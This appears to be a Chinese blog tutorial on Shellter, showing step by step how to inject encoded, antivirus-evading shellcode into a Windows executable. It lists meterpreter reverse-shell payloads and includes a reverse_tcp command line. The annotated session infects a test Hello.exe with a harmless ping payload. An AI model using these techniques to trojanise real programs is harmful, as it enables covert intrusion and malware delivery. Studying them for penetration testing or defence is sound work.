Menu

  • Home
  • Work
    • Cloud
      • Virtualization
      • IaaS
      • PaaS
    • Java
    • Go
    • C
    • C++
    • JavaScript
    • PHP
    • Python
    • Architecture
    • Others
      • Assembly
      • Ruby
      • Perl
      • Lua
      • Rust
      • XML
      • Network
      • IoT
      • GIS
      • Algorithm
      • AI
      • Math
      • RE
      • Graphic
    • OS
      • Linux
      • Windows
      • Mac OS X
    • BigData
    • Database
      • MySQL
      • Oracle
    • Mobile
      • Android
      • IOS
    • Web
      • HTML
      • CSS
  • Life
    • Cooking
    • Travel
    • Gardening
  • Gallery
  • Video
  • Music
  • Essay
  • Home
  • Work
    • Cloud
      • Virtualization
      • IaaS
      • PaaS
    • Java
    • Go
    • C
    • C++
    • JavaScript
    • PHP
    • Python
    • Architecture
    • Others
      • Assembly
      • Ruby
      • Perl
      • Lua
      • Rust
      • XML
      • Network
      • IoT
      • GIS
      • Algorithm
      • AI
      • Math
      • RE
      • Graphic
    • OS
      • Linux
      • Windows
      • Mac OS X
    • BigData
    • Database
      • MySQL
      • Oracle
    • Mobile
      • Android
      • IOS
    • Web
      • HTML
      • CSS
  • Life
    • Cooking
    • Travel
    • Gardening
  • Gallery
  • Video
  • Music
  • Essay

使用Shellter进行shellcode注入

1
Feb
2015

使用Shellter进行shellcode注入

By Alex
/ in RE
0 Comments
基础知识
Shellcode

在计算机安全领域,Shellcode是一小段代码,作为利用软件漏洞进行攻击的载荷(Payload)。之所以称为“Shellcode”,是因为这类代码常常启动一个Shell命令以获得系统的控制权。

Shellcode可以分为两类:

  1. 本地(Local):攻击者不会实时的连接到受感染的机器,Shellcode在受感染机器上按照预先定义的逻辑运行
  2. 远程(Remote):Shellcode在受感染机器上运行,并且攻击者可以通过网络连接到Shellcode,执行任意的逻辑。远程Shellcode通常使用TCP/IP协议与攻击者通信

依据连接建立方式的不同,远程Shellcode又可以分为:

  1. 回连(connect-back)Shellcode:Shellcode主动向攻击者的机器发起网络连接
  2. 绑定(Bind)Shellcode:Shellcode在特定端口上监听,攻击者主动发起网络连接
  3. 套接字重用(socket-reuse)Shellcode:重用既有连接,此方式有利于躲避防火墙
Shellter

这是一个动态的Shellcode注入工具,可以对32bit的Windows应用程序进行注入。Shellter利用PE文件原始的结构,它无需:

  1. 修改特定段(Section)的内存访问权限
  2. 添加额外的基于RWE访问权限的段
  3. 执行其它容易引起反病毒软件注意的行为

Shellter使用一种独特的、基于目标程序执行流的动态注入方式,而不是在静态/预定义位置执行注入。为了解目标的执行流,Shellter需要启动并跟踪之。

Shellter能够跟踪目标在用户空间的完整执行流,PE镜像中的代码、系统DLL中的代码、堆中的代码都可以被跟踪。这意味着:属于目标的、但是仅仅作为Windows API回调的那些函数不会被遗漏。

在追踪过程中,Shellter不会记录/计数不在PE镜像内存范围内的指令,因为这些指令不能作为永久性注入的参考位置。

对编码/自解码载荷的支持

通过检查目标的导入地址表(IAT,Import Address Table),Shellter可以支持编码/自解码载荷。它会寻找特定的已导入(imported)函数,包括:

函数(组合) 说明
VirtualAlloc 操控当前进程的虚地址空间,预定或者提交一部分页
VirtualAllocEx 操控目标进程的虚地址空间,预定或者提交一部分页
VirtualProtect 修改当前进程已提交的一部分页的保护选项(读、写、执行)
VirtualProtectEx 修改目标进程已提交的一部分页的保护选项(读、写、执行)
HeapCreate/HeapAlloc 为当前进程创建私有堆/从堆中分配一块内存
LoadLibrary/GetProcAddress 加载指定模块(例如DLL)到当前进程的地址空间,可能导致其它DLL连带载入
从指定的模块句柄中获得导出(exported )函数的地址
GetModuleHandle/GetProcAddress 根据模块名称,获得模块的句柄
CreateFileMapping/MapViewOfFile 为特定文件创建/打开命名/匿名的文件映射对象
将一个文件映射对象映射到当前进程的地址空间

来支持在运行时执行自解码载荷,而不需要在PE头中修改段的特性。

上述8种组合中的任何一种都可以用来支持自解码载荷。在自动模式下,Shellter会随机使用其中的一组。如果它们都不可用,Shellter会在PE头修改段的属性,以支持自解码载荷。不可用的组合会显示为 --> N/A 。

使用自解码载荷,有利于避开反病毒软件的检查。

Shellter自带了一个编码引擎,可以通过随机数量的XOR、ADD、SUB、NOT操作来进行编码,并且动态的生成对应的解码器。

开箱即用的载荷

Shellter自带了若干载荷:

载荷 说明
meterpreter_reverse_tcp 提供专用于渗透测试框架metasploit的TCP/HTTP/HTTPS协议的远程回连Shellcode支持,示例:
MS DOS
1
Shellter -p meterpreter_reverse_tcp --lhost 127.0.0.1 --port 4444
meterpreter_reverse_http
meterpreter_reverse_https
meterpreter_bind_tcp 提供专用于渗透测试框架metasploit的远程绑定Shellcode支持
shell_reverse_tcp 提供回连/绑定的shell支持
shell_bind_tcp
WinExec 执行任意命令或者程序
隐身模式(Stealth Mode)

这是5.0版本引入的特性,它允许在维持受感染程序原始功能的前提下,使用Shellter的动态位置注入、多载荷注入功能。

一旦启用该功能,你就可以再次注入已经被感染的程序,所有注入的载荷都独立运作。

关于自修改代码

通过对目标的执行流进行记录,Shellter能够识别自修改代码,并把它们从可注入点中排除。在运行时会修改的地址注入Shellcode可能会失败,因此需要避免。Shellter总是会在过滤阶段进行自修改代码检查。

 HelloWorld

这里我们以一个最简单的程序为注入目标:

Hello.exe
C
1
2
3
4
5
6
7
#include "stdio.h"
#include <windows.h>
int main( int argc, char **argv )
{
    printf( "Hello World!" );
    Sleep( 30000 );
}

打开命令行工具,输入shellter启动注入向导:

MS DOS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
rem 下面的提示要求你选择操作模式
rem 对于简单的场景,可以选择自动模式(A)
rem 手工模式提供更加灵活的控制
Choose Operation Mode - Auto/Manual (A/M/H): M
rem 检查Shellter的最新版本
Perform Online Version Check? (Y/N/H): N
rem 选择需要注入的目标文件
PE Target: Hello.exe
 
rem 此阶段会备份目标程序
**********
* Backup *
**********
rem 备份为
Backup: Hello.exe.bak
rem 已有的备份被覆盖
Note: This overwrites an existing backup file that has the same name.
      Always remember that the .bak file is the previous state of what
      you are going to generate.
 
 
 
rem 检查PE文件的兼容性
********************************
* PE Compatibility Information *
********************************
 
Minimum Supported Windows OS: 4.0
 
 
 
rem 检查目标是否加壳
******************
* Packed PE Info *
******************
 
Status: Possibly Not Packed - The EntryPoint is located in the first section!
 
 
 
 
***********************
* PE Info Elimination *
***********************
 
Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.
 
Status: All related information has been eliminated!
 
rem 是否收集动态的线程上下文信息
rem 收集这些信息以创建更加复杂的定制化多形态代码(PolyMorphic code)
rem 或者用动态线程上下文信息作为Key来对载荷进行编解码
Gather Dynamic Thread Context Info? (Y/N/H):N
 
rem 需要追踪的CPU指令的条数
Number of Instructions: 10
 
rem 是否在跟踪时检测自修改代码,可以避免在某些高级场景下注入失败
rem 一般情况下不需要检测
Check for SelfModifying Code while Tracing? (Y/N/H): Y
 
rem 是否在检测到自修改代码时暂停跟踪
Pause Tracing at SelfModifying Code Detection? (Y/N/H):Y
 
rem 是否对目标的所有线程进行跟踪,还是仅跟踪主线程
Trace All Threads? (Y/N/H): N
 
 
rem 显示实时跟踪信息到屏幕上,会影响性能
Show Real-Time Tracing? (Y/N/H): Y
 
rem 到这一步,Shellter会打开目标程序,并跟踪其代码执行情况
****************
* Tracing Mode *
****************
 
Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.
 
 
 
DisASM.dll was created successfully!
 
 
 
The following PEB flags have been reset:
 
1. PEB.BeingDebugged
 
2. PEB.NtGlobalFlag
 
 
 
4014e0 sub esp, 0Ch   <0>
4014e3 mov dword ptr [004063D8h], 00000000h   <1>
4014ed call 00401810h   <2>
401810 push ebp   <3>
401811 push edi   <4>
401812 push esi   <5>
401813 push ebx   <6>
401814 sub esp, 2Ch   <7>
401817 mov eax, dword ptr [0040302Ch]   <8>
40181c mov dword ptr [esp+10h], 00000000h   <9>
 
Tracing has been completed successfully!
 
Tracing Time Approx: 0.019 mins.
 
 
 
Starting First Stage Filtering...
 
 
rem 第一轮过滤,依据你给定的选项,确定哪些指令地址适合作为注入点
*************************
* First Stage Filtering *
*************************
 
Filtering Time Approx: 0 mins.
 
 
rem 是否启用隐身模式。隐身模式保持受感染的PE文件的功能不变
rem 启用该模式,则自动启用载荷编码
Enable Stealth Mode? (Y/N/H): Y
 
rem 选择一个预定义载荷,或者定制载荷
************
* Payloads *
************
 
[1] Meterpreter_Reverse_TCP
[2] Meterpreter_Reverse_HTTP
[3] Meterpreter_Reverse_HTTPS
[4] Meterpreter_Bind_TCP
[5] Shell_Reverse_TCP
[6] Shell_Bind_TCP
[7] WinExec
 
rem 如果选择定制载荷,则需要指定一个内容不超过260字符的文件
Use a listed payload or custom? (L/C/H): L
 
Select payload by index: 7
 
****************
* windows_exec *
****************
 
SET CMD: ping 127.0.0.1 -t
 
rem 是否使用动态上下文信息作为编码载荷的Key,试验性功能
Encode Payload using DTCK? (Y/N/H): N
rem 是否对解码器代码进行混淆处理
Obfuscate Shellters Decoder? (Y/N/H): Y
 
rem 是否需要指定编码序列,你可以使用x + - !的组合(XOR/AND/SUB/NOT),不能超过12字符
Enable User Defined Encoding Sequence? (Y/N/H): N
 
******************
* Encoding Stage *
******************
rem 对载荷进行编码
Encoding Payload: Done!
 
 
****************************
* Assembling Decoder Stage *
****************************
rem 对解码器进行汇编
Assembling Decoder: Done!
 
 
***********************************
* Binding Decoder & Payload Stage *
***********************************
rem 对解码器进行混淆并绑定到载荷
Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
        code, and binding it with the payload.
 
Please wait...
 
Binding: Done!
 
rem 在不修改段特性的前提下支持载荷编解码
*********************
* IAT Handler Stage *
*********************
 
 
Fetching IAT Pointers to Memory Manipulation APIs...
 
 
0. VirtualAlloc --> N/A
1. VirtualAllocEx --> N/A
2. VirtualProtect --> Not Allowed in Stealth Mode!
3. VirtualProtectEx --> N/A
4. HeapCreate/HeapAlloc --> N/A
5. LoadLibrary/GetProcAddress --> IAT[407148]/IAT[407130]
6. GetModuleHandle/GetProcAddress --> IAT[40712c]/IAT[407130]
7. CreateFileMapping/MapViewOfFile --> N/A
 
 
Choose one of the available methods: 6
 
rem 显示载荷的信息
****************
* Payload Info *
****************
 
Payload: winexec
 
Size: 2164 bytes
 
Reflective Loader: NO
 
Encoded-Payload Handling: Enabled
 
Handler Type: IAT
 
 
rem 是否混淆IAT处理器
Obfuscate IAT Handler? (Y/N/H): N
rem 是否在载荷前面加上多形态的垃圾代码
Prepend PolyMorphic Code? (Y/N/H): N
rem 选择多形态代码来源
Prepend User/Engine PolyMorphic Code (U/E/H): E
 
 
rem 第二轮过滤
Starting Second Stage Filtering...
 
**************************
* Second Stage Filtering *
**************************
 
Filtering Time Approx: 0 mins.
rem 是否显示可用的反汇编指令条目的列表
Show Disassembled Entries? (Y/N/H):Y
 
Total Entries: 10
 
Valid Index Values: 0 - 9
 
rem 输入需要显示的指令的索引值范围
Select Start Entry: 0
 
Select End Entry: 8
 
 
4014e0 sub esp, 0Ch   <0>
4014e3 mov dword ptr [004063D8h], 00000000h   <1>
4014ed call 00401810h   <2>
401810 push ebp   <3>
401811 push edi   <4>
401812 push esi   <5>
401813 push ebx   <6>
401814 sub esp, 2Ch   <7>
401817 mov eax, dword ptr [0040302Ch]   <8>
 
rem 可以显示更多的指令
Show more entries? (Y/N): N
 
Total Entries: 10
 
Valid Index Values: 0 - 9
 
rem 选择在那条指令的地址开始注入
Select <Index> of VA to Start Injection: 0
 
rem 注入阶段
*******************
* Injection Stage *
*******************
rem 在什么虚拟地址上进行注入
Virtual Address: 0x4014e0
rem 注入点子文件中的偏移量
File Offset: 0x8e0
rem 注入点所属的段
Section: .text
 
 
Adjusting stub pointers to IAT...
 
Done!
 
 
Injection Completed!
 
 
rem 校验和修复
*******************
* PE Checksum Fix *
*******************
 
Status: Valid PE Checksum has been set!
 
Original Checksum: 0xf60e7
 
Computed Checksum: 0xfc7cc
 
 
rem 验证阶段
**********************
* Verification Stage *
**********************
 
 
Info: Shellter will verify that the first instruction of the
      injected code will be reached successfully.
      If polymorphic code has been added, then the first
      instruction refers to that and not to the effective
      payload.
      Max waiting time: 10 seconds.
 
Warning!
If the PE target spawns a child process of itself before
reaching the injection point, then the injected code will
be executed in that process. In that case Shellter won't
have any control over it during this test.
You know what you are doing, right? ;o)
 
Injection: Verified!
 
 
Press [Enter] to continue...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

← 上汤娃娃菜
风信子 →

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Related Posts

  • 逆向常用Windows API记录

Recent Posts

  • Investigating and Solving the Issue of Failed Certificate Request with ZeroSSL and Cert-Manager
  • A Comprehensive Study of Kotlin for Java Developers
  • 背诵营笔记
  • 利用LangChain和语言模型交互
  • 享学营笔记
ABOUT ME

汪震 | Alex Wong

江苏淮安人,现居北京。目前供职于腾讯云,专注容器方向。

GitHub:gmemcc

Git:git.gmem.cc

Email:gmemjunk@gmem.cc@me.com

ABOUT GMEM

绿色记忆是我的个人网站,域名gmem.cc中G是Green的简写,MEM是Memory的简写,CC则是我的小天使彩彩名字的简写。

我在这里记录自己的工作与生活,同时和大家分享一些编程方面的知识。

GMEM HISTORY
v2.00:微风
v1.03:单车旅行
v1.02:夏日版
v1.01:未完成
v0.10:彩虹天堂
v0.01:阳光海岸
MIRROR INFO
Meta
  • Log in
  • Entries RSS
  • Comments RSS
  • WordPress.org
Recent Posts
  • Investigating and Solving the Issue of Failed Certificate Request with ZeroSSL and Cert-Manager
    In this blog post, I will walk ...
  • A Comprehensive Study of Kotlin for Java Developers
    Introduction Purpose of the Study Understanding the Mo ...
  • 背诵营笔记
    Day 1 Find Your Greatness 原文 Greatness. It’s just ...
  • 利用LangChain和语言模型交互
    LangChain是什么 从名字上可以看出来,LangChain可以用来构建自然语言处理能力的链条。它是一个库 ...
  • 享学营笔记
    Unit 1 At home Lesson 1 In the ...
  • K8S集群跨云迁移
    要将K8S集群从一个云服务商迁移到另外一个,需要解决以下问题: 各种K8S资源的迁移 工作负载所挂载的数 ...
  • Terraform快速参考
    简介 Terraform用于实现基础设施即代码(infrastructure as code)—— 通过代码( ...
  • 草缸2021
    经过四个多月的努力,我的小小荷兰景到达极致了状态。

  • 编写Kubernetes风格的APIServer
    背景 前段时间接到一个需求做一个工具,工具将在K8S中运行。需求很适合用控制器模式实现,很自然的就基于kube ...
  • 记录一次KeyDB缓慢的定位过程
    环境说明 运行环境 这个问题出现在一套搭建在虚拟机上的Kubernetes 1.18集群上。集群有三个节点: ...
  • eBPF学习笔记
    简介 BPF,即Berkeley Packet Filter,是一个古老的网络封包过滤机制。它允许从用户空间注 ...
  • IPVS模式下ClusterIP泄露宿主机端口的问题
    问题 在一个启用了IPVS模式kube-proxy的K8S集群中,运行着一个Docker Registry服务 ...
  • 念爷爷
      今天是爷爷的头七,十二月七日、阴历十月廿三中午,老人家与世长辞。   九月初,回家看望刚动完手术的爸爸,发

  • 6 杨梅坑

  • liuhuashan
    深圳人才公园的网红景点 —— 流花山

  • 1 2020年10月拈花湾

  • 内核缺陷触发的NodePort服务63秒延迟问题
    现象 我们有一个新创建的TKE 1.3.0集群,使用基于Galaxy + Flannel(VXLAN模式)的容 ...
  • Galaxy学习笔记
    简介 Galaxy是TKEStack的一个网络组件,支持为TKE集群提供Overlay/Underlay容器网 ...
TOPLINKS
  • Zitahli's blue 91 people like this
  • 梦中的婚礼 64 people like this
  • 汪静好 61 people like this
  • 那年我一岁 36 people like this
  • 为了爱 28 people like this
  • 小绿彩 26 people like this
  • 彩虹姐姐的笑脸 24 people like this
  • 杨梅坑 6 people like this
  • 亚龙湾之旅 1 people like this
  • 汪昌博 people like this
  • 2013年11月香山 10 people like this
  • 2013年7月秦皇岛 6 people like this
  • 2013年6月蓟县盘山 5 people like this
  • 2013年2月梅花山 2 people like this
  • 2013年淮阴自贡迎春灯会 3 people like this
  • 2012年镇江金山游 1 people like this
  • 2012年徽杭古道 9 people like this
  • 2011年清明节后扬州行 1 people like this
  • 2008年十一云龙公园 5 people like this
  • 2008年之秋忆 7 people like this
  • 老照片 13 people like this
  • 火一样的六月 16 people like this
  • 发黄的相片 3 people like this
  • Cesium学习笔记 90 people like this
  • IntelliJ IDEA知识集锦 59 people like this
  • Bazel学习笔记 38 people like this
  • 基于Kurento搭建WebRTC服务器 38 people like this
  • PhoneGap学习笔记 32 people like this
  • NaCl学习笔记 32 people like this
  • 使用Oracle Java Mission Control监控JVM运行状态 29 people like this
  • Ceph学习笔记 27 people like this
  • 基于Calico的CNI 27 people like this
Tag Cloud
ActiveMQ AspectJ CDT Ceph Chrome CNI Command Cordova Coroutine CXF Cygwin DNS Docker eBPF Eclipse ExtJS F7 FAQ Groovy Hibernate HTTP IntelliJ IO编程 IPVS JacksonJSON JMS JSON JVM K8S kernel LB libvirt Linux知识 Linux编程 LOG Maven MinGW Mock Monitoring Multimedia MVC MySQL netfs Netty Nginx NIO Node.js NoSQL Oracle PDT PHP Redis RPC Scheduler ServiceMesh SNMP Spring SSL svn Tomcat TSDB Ubuntu WebGL WebRTC WebService WebSocket wxWidgets XDebug XML XPath XRM ZooKeeper 亚龙湾 单元测试 学习笔记 实时处理 并发编程 彩姐 性能剖析 性能调优 文本处理 新特性 架构模式 系统编程 网络编程 视频监控 设计模式 远程调试 配置文件 齐塔莉
Recent Comments
  • qg on Istio中的透明代理问题
  • heao on 基于本地gRPC的Go插件系统
  • 黄豆豆 on Ginkgo学习笔记
  • cloud on OpenStack学习笔记
  • 5dragoncon on Cilium学习笔记
  • Archeb on 重温iptables
  • C/C++编程:WebSocketpp(Linux + Clion + boostAsio) – 源码巴士 on 基于C/C++的WebSocket库
  • jerbin on eBPF学习笔记
  • point on Istio中的透明代理问题
  • G on Istio中的透明代理问题
  • 绿色记忆:Go语言单元测试和仿冒 on Ginkgo学习笔记
  • point on Istio中的透明代理问题
  • 【Maven】maven插件开发实战 – IT汇 on Maven插件开发
  • chenlx on eBPF学习笔记
  • Alex on eBPF学习笔记
  • CFC4N on eBPF学习笔记
  • 李运田 on 念爷爷
  • yongman on 记录一次KeyDB缓慢的定位过程
  • Alex on Istio中的透明代理问题
  • will on Istio中的透明代理问题
  • will on Istio中的透明代理问题
  • haolipeng on 基于本地gRPC的Go插件系统
  • 吴杰 on 基于C/C++的WebSocket库
©2005-2025 Gmem.cc | Powered by WordPress | 京ICP备18007345号-2